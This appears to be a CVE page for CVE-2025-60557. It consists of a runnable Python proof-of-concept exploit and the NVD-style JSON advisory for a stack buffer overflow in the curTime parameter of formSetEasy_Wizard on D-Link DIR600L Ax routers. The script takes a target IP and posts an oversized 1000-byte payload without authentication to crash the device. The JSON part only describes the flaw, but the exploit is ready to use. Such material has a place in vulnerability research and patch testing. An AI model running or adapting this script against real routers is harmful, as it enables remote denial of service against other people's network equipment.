CVE-2025-60557

#!/usr/bin/env python3 """ CVE-2025-60557 PoC - D-Link DIR600L Ax Buffer Overflow formSetEasy_Wizard curTime Parameter Buffer Overflow """ import requests import argparse def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit buffer overflow in D-Link DIR600L Ax formSetEasy_Wizard via curTime parameter """ # Target URL for the vulnerable endpoint url = f"http://{target_ip}:{target_port}/formSetEasy_Wizard.cgi" # Buffer overflow payload - 500+ bytes to trigger overflow # Adjust size based on target environment overflow_length = 1000 overflow_payload = "A" * overflow_length # Construct the exploit request data = { "curTime": overflow_payload, "submit-url": "/Easy_Wizard.htm" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent successfully") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-60557 PoC') parser.add_argument('-t', '--target', required=True, help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port') args = parser.parse_args() exploit_buffer_overflow(args.target, args.port) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-60557", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:22:01.570", "lastModified": "2025-10-28T02:31:27.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formSetEasy_Wizard."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/13-buffer%20overflow-formSetEasy_Wizard.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}